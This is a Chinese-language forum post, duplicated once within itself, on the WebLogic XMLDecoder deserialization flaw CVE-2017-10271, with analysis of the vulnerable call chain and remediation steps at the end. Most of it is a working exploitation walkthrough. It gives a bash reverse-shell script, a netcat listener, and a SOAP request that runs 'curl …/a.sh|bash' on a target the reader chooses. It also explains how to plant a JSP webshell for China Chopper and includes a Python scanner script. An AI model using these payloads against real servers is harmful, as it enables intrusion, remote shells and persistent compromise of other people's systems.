taibeihacker
Moderator
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271) -----by backlion
1、利用WebLogic 反序列化漏洞(CVE-2017-3248)調用Linux 中的wget 下載shell腳本並調用Linux本地“/bin/bash”執行shell腳本。 (shell腳本內容內定義了從遠端下載執行watch-smartd挖礦程序控制細節)
2、 利用WebLogic 反序列化漏洞(CVE-2017-3248)調用Windows 中的PowerShell進行樣本下載和運行。
3、 利用WebLogic WLS 組件漏洞(CVE-2017-10271)調用Linux 中的wget 下載shell腳本並調用Linux本地“/bin/bash”執行shell腳本。
4、 利用WebLogic WLS 組件漏洞(CVE-2017-10271)調用Windows 中的powershell 進行樣本下載和惡意代碼執行。
5、在此次的攻擊事件中,CVE-2017-3248利用不成功,CVE-2017-10271則利用成功,從而導致了服務器被攻擊者攻陷,進而在系統日誌中留下了痕跡。
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
weblogic.wsee.workarea.WorkContextXmlInputAdapter
首先看到
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法
獲取到localHeader1後傳遞給readHeaderOld方法,其內容為work:WorkContext所包裹的數據,然後繼續跟進
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld方法
在此方法中實例化了WorkContextXmlInputAdapter類,並且將獲取到的XML格式的序列化數據傳遞到此類的構造方法中,最後通過XMLDecoder來進行反序列化操作。
關於XMLDecoder的反序化問題13年就已經被人發現,近期再次被利用到Weblogic中由此可見JAVA生態圈中的安全問題是多麼糟糕。值得一提的是此次漏洞出現了兩處CVE編號,因為在Oracle官方在修復CVE-2017-3506所提供的patch只是簡單的檢查了XML中是否包含了object節點,然後將object換為void即可繞過此補丁。因此在修復過程中用戶一定要使用Oracle官方十月份所提供的patch。
所需軟件:burpusit
一般情況下weblogic會開放7001以及7002端口
如果訪問/wls-wsat/CoordinatorPortType11目錄,存在下圖則說明或許存在漏洞
首先在你的外網服務器上安裝python2.7
sudo apt-get install python2.7
然後在你的外網vps服務器上,利用vim編寫一個反彈腳本如a.sh(填寫自己的服務器ip和將要用nc監聽的端口)
bash -i /dev/tcp/vpsip/ncport 01
或者
/bin/bash -i /dev/vpsip/ncport 01
用xshell連接服務器,執行(python服務器端口和nc的端口可以自己隨便來設置)
python -m SimpleHTTPServer pythonport 和nc -lvp ncport
執行後就可以用poc進行測試
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 11.203.x.x
Accept-Encoding: identity
Content-Length: 695
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: text/xml
soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'
soapenv:Header
work:WorkContext xmlns:work='http://bea.com/2004/06/soap/workarea/'
java version='1.8.0_131' class='java.beans.XMLDecoder'
void class='java.lang.ProcessBuilder'
array class='java.lang.String' length='3'
void index='0'
string/bin/bash/string
/void
void index='1'
string-c/string
/void
void index='2'
stringcurl http://x.x.x.x:81/a.sh|bash/string
/void
/array
void method='start'//void
/java
/work:WorkContext
/soapenv:Header
soapenv:Body/
/soapenv:Envelope
將以上代碼複製到burpsuit中的repeater中,注意代碼中的Host: 11.203.x.x需要改成你所要攻擊的目標對象,並且target的hsot和port也要根據目標地址和端口
其中的
void index='2'
stringcurl http://x.x.x.x:81/a.sh|bash/string
/void
也需要實際改
然後進行執行repeater的go
服務器返回
HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sat, 23 Dec 2017 05:16:01 GMT
Content-Type: text/xml; charset=utf-8
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 262
?xml version='1.0' encoding='UTF-8'?S:Envelope xmlns:S='http://schemas.xmlsoap.org/soap/envelope/'S:BodyS:Fault xmlns:ns4='http://www.w3.org/2003/05/soap-enve...string0/faultstring/S:Fault/S:Body/S:Envelope
隨後你就會在自己的vps上得到一個反彈shell
這樣就OK了,如果你要拿到shell的話
直接cd到servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/目錄,此為系統默認目錄,然後可以在poc上wget一個jsp腳本,然後使用mv命令進行移動到此目錄,最重要的你用菜刀連接的話,不是連接的此目錄,而是/bea_wls_internal/目錄下的腳本文件
附上poc檢查腳本:
# coding:utf-8
# !/bin/env python2
import requests
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 禁用安全請求警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 判斷weblogic漏洞是否存在的地址,因沒有poc,暫時只能判斷這個地址
check_addr='/wls-wsat/CoordinatorPortType11'
shell_addr='/bea_wls_internal/connect.jsp'
heads={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8',
'SOAPAction': '',
'Content-Type': 'text/xml;charset=UTF-8'
}
post_str='''
soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'
soapenv:Header
work:WorkContext xmlns:work='http://bea.com/2004/06/soap/workarea/'
java
object class='java.lang.ProcessBuilder'
array class='java.lang.String' length='3'
void index='0'
string/bin/sh/string
/void
void index='1'
string-c/string
/void
void index='2'
stringfind $DOMAIN_HOME -type d -name bea_wls_internal|while read f;do find $f -type f -name
index.html;done|while read ff;do echo vulexist$(dirname $ff)/connect.jsp;done/string
/void
/array
void method='start'/
/object
/java
/work:WorkContext
/soapenv:Header
soapenv:Body/
/soapenv:Envelope
'''
def check(url):
#print('正在檢測第%d個url:%s' % (status_num,url))
vuln_url=url + check_addr
content=requests.get(vuln_url, verify=False, timeout=10)
if content.status_code==200:
rsp=requests.post(vuln_url, headers=heads, data=post_str.encode(
'utf-8'), verify=False, timeout=10)
content=rsp.content
if re.search(r'java\.lang\.ProcessBuilder', content, re.I):
# print 'getshell success,shell is:%s'%(url+shell_addr)
string_to_write='Congratulations! weblogic 遠程命令執行漏洞存在:\n' + url + shell_addr + '\n'
print string_to_write
else:
print '失敗'
else:
print(content.status_code)
# 判斷漏洞是否存在
# target=sys.argv[1]
target='https://x.x.x.com'
print('checking weblogic vul for '+target)
check(target)
# 傳入的target是http://www.baidu.com格式(不帶端口)
根據實際環境路徑,刪除WebLogic wls-wsat組件:
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
重啟Weblogic域控制器服務:
DOMAIN_NAME/bin/stopWeblogic.sh #停止服務
DOMAIN_NAME/bin/startManagedWebLogic.sh #啟動服務
刪除以上文件之後,需重啟WebLogic。確認http://weblogic_ip/wls-wsat/是否為404頁面。
升級過程可參考:
blog.csdn.net
adlab.venustech.com.cn
cloud.nsfocus.com
---------------------------------------------------------------------------------------------
經驗總結:
linux下的監聽的端口可以供多個IP輪換
0x01漏洞说明
近日,黑客利用WebLogic 反序列化漏洞CVE-2017-3248和WebLogic WLS LS組件的遠程代碼執行漏洞CVE-2017-10271,Oracle官方在2017年10月份發布了該漏洞的補丁,但沒有公開漏洞細節,如果企業未及時安裝補丁,存在被攻擊的風險。對企業服務器發起了大範圍遠程攻擊,對大量企業的服務器造成了嚴重威脅,受影响版本:10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.00x02 攻击说明
攻擊者選定要攻擊的目標主機後,將首先利用漏洞CVE-2017-3248進行攻擊,無論是否成功,都將再利用CVE-2017-10271進行攻擊。在每一次的攻擊過程中,都是先針對Windows系統,再針對Linux系統。具體攻擊流程如下:1、利用WebLogic 反序列化漏洞(CVE-2017-3248)調用Linux 中的wget 下載shell腳本並調用Linux本地“/bin/bash”執行shell腳本。 (shell腳本內容內定義了從遠端下載執行watch-smartd挖礦程序控制細節)
2、 利用WebLogic 反序列化漏洞(CVE-2017-3248)調用Windows 中的PowerShell進行樣本下載和運行。
3、 利用WebLogic WLS 組件漏洞(CVE-2017-10271)調用Linux 中的wget 下載shell腳本並調用Linux本地“/bin/bash”執行shell腳本。
4、 利用WebLogic WLS 組件漏洞(CVE-2017-10271)調用Windows 中的powershell 進行樣本下載和惡意代碼執行。
5、在此次的攻擊事件中,CVE-2017-3248利用不成功,CVE-2017-10271則利用成功,從而導致了服務器被攻擊者攻陷,進而在系統日誌中留下了痕跡。
0x03分析利用
此次漏洞出現在wls-wsat.war中,此組件使用了weblogic自帶的webservices處理程序來處理SOAP請求首先在weblogic.wsee.jaxws.workcontext.WorkContextServerTube類中獲取XML數據最終傳遞給XMLDecoder來解析,其解析XML的調用鍊為weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
weblogic.wsee.workarea.WorkContextXmlInputAdapter
首先看到
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法

獲取到localHeader1後傳遞給readHeaderOld方法,其內容為work:WorkContext所包裹的數據,然後繼續跟進
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld方法

在此方法中實例化了WorkContextXmlInputAdapter類,並且將獲取到的XML格式的序列化數據傳遞到此類的構造方法中,最後通過XMLDecoder來進行反序列化操作。

關於XMLDecoder的反序化問題13年就已經被人發現,近期再次被利用到Weblogic中由此可見JAVA生態圈中的安全問題是多麼糟糕。值得一提的是此次漏洞出現了兩處CVE編號,因為在Oracle官方在修復CVE-2017-3506所提供的patch只是簡單的檢查了XML中是否包含了object節點,然後將object換為void即可繞過此補丁。因此在修復過程中用戶一定要使用Oracle官方十月份所提供的patch。
0x04 漏洞复现
所需环境vps服務器:ubuntu16.4 ip:x.x.x.x所需軟件:burpusit
一般情況下weblogic會開放7001以及7002端口
如果訪問/wls-wsat/CoordinatorPortType11目錄,存在下圖則說明或許存在漏洞

首先在你的外網服務器上安裝python2.7
sudo apt-get install python2.7
然後在你的外網vps服務器上,利用vim編寫一個反彈腳本如a.sh(填寫自己的服務器ip和將要用nc監聽的端口)
bash -i /dev/tcp/vpsip/ncport 01
或者
/bin/bash -i /dev/vpsip/ncport 01

用xshell連接服務器,執行(python服務器端口和nc的端口可以自己隨便來設置)
python -m SimpleHTTPServer pythonport 和nc -lvp ncport


執行後就可以用poc進行測試
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 11.203.x.x
Accept-Encoding: identity
Content-Length: 695
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: text/xml
soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'
soapenv:Header
work:WorkContext xmlns:work='http://bea.com/2004/06/soap/workarea/'
java version='1.8.0_131' class='java.beans.XMLDecoder'
void class='java.lang.ProcessBuilder'
array class='java.lang.String' length='3'
void index='0'
string/bin/bash/string
/void
void index='1'
string-c/string
/void
void index='2'
stringcurl http://x.x.x.x:81/a.sh|bash/string
/void
/array
void method='start'//void
/java
/work:WorkContext
/soapenv:Header
soapenv:Body/
/soapenv:Envelope
將以上代碼複製到burpsuit中的repeater中,注意代碼中的Host: 11.203.x.x需要改成你所要攻擊的目標對象,並且target的hsot和port也要根據目標地址和端口

其中的
void index='2'
stringcurl http://x.x.x.x:81/a.sh|bash/string
/void
也需要實際改
然後進行執行repeater的go
服務器返回
HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sat, 23 Dec 2017 05:16:01 GMT
Content-Type: text/xml; charset=utf-8
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 262
?xml version='1.0' encoding='UTF-8'?S:Envelope xmlns:S='http://schemas.xmlsoap.org/soap/envelope/'S:BodyS:Fault xmlns:ns4='http://www.w3.org/2003/05/soap-enve...string0/faultstring/S:Fault/S:Body/S:Envelope
隨後你就會在自己的vps上得到一個反彈shell

這樣就OK了,如果你要拿到shell的話
直接cd到servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/目錄,此為系統默認目錄,然後可以在poc上wget一個jsp腳本,然後使用mv命令進行移動到此目錄,最重要的你用菜刀連接的話,不是連接的此目錄,而是/bea_wls_internal/目錄下的腳本文件
附上poc檢查腳本:
# coding:utf-8
# !/bin/env python2
import requests
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 禁用安全請求警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 判斷weblogic漏洞是否存在的地址,因沒有poc,暫時只能判斷這個地址
check_addr='/wls-wsat/CoordinatorPortType11'
shell_addr='/bea_wls_internal/connect.jsp'
heads={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8',
'SOAPAction': '',
'Content-Type': 'text/xml;charset=UTF-8'
}
post_str='''
soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'
soapenv:Header
work:WorkContext xmlns:work='http://bea.com/2004/06/soap/workarea/'
java
object class='java.lang.ProcessBuilder'
array class='java.lang.String' length='3'
void index='0'
string/bin/sh/string
/void
void index='1'
string-c/string
/void
void index='2'
stringfind $DOMAIN_HOME -type d -name bea_wls_internal|while read f;do find $f -type f -name
index.html;done|while read ff;do echo vulexist$(dirname $ff)/connect.jsp;done/string
/void
/array
void method='start'/
/object
/java
/work:WorkContext
/soapenv:Header
soapenv:Body/
/soapenv:Envelope
'''
def check(url):
#print('正在檢測第%d個url:%s' % (status_num,url))
vuln_url=url + check_addr
content=requests.get(vuln_url, verify=False, timeout=10)
if content.status_code==200:
rsp=requests.post(vuln_url, headers=heads, data=post_str.encode(
'utf-8'), verify=False, timeout=10)
content=rsp.content
if re.search(r'java\.lang\.ProcessBuilder', content, re.I):
# print 'getshell success,shell is:%s'%(url+shell_addr)
string_to_write='Congratulations! weblogic 遠程命令執行漏洞存在:\n' + url + shell_addr + '\n'
print string_to_write
else:
print '失敗'
else:
print(content.status_code)
# 判斷漏洞是否存在
# target=sys.argv[1]
target='https://x.x.x.com'
print('checking weblogic vul for '+target)
check(target)
# 傳入的target是http://www.baidu.com格式(不帶端口)
0x04 漏洞修复建议
1.临时解决方案
根據攻擊者利用POC分析發現所利用的為wls-wsat組件的CoordinatorPortType接口,若Weblogic服務器集群中未應用此組件,建議臨時備份後將此組件刪除,當形成防護能力後,再進行恢復。根據實際環境路徑,刪除WebLogic wls-wsat組件:
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
重啟Weblogic域控制器服務:
DOMAIN_NAME/bin/stopWeblogic.sh #停止服務
DOMAIN_NAME/bin/startManagedWebLogic.sh #啟動服務
刪除以上文件之後,需重啟WebLogic。確認http://weblogic_ip/wls-wsat/是否為404頁面。
2.官方补丁修复
前往Oracle官網下載10月份所提供的安全補丁升級過程可參考:
weblogic打补丁,bsu升级10.3.6.0.12_weblogic10.3.6 遇到无法识别的补丁程序-CSDN博客
文章浏览阅读4.6w次,点赞6次,收藏19次。本文详细介绍了如何在Windows 8.1环境下,通过BSU方法为WebLogic Server 10.3.6打补丁到10.3.6.0.12版本。步骤包括查看当前版本、安装补丁、验证补丁安装成功,并提供了执行相关命令的方法。
3.在线检查工具
启明星辰
启明星辰是国内具备超强实力的、拥有完全自主知识产权的网络安全产品、可信安全管理平台、安全服务与解决方案的综合提供商。集团目前已成功实现了对网络安全、数据安全、应用业务安全等多领域的覆盖。
T-ONE CLOUD
經驗總結:
linux下的監聽的端口可以供多個IP輪換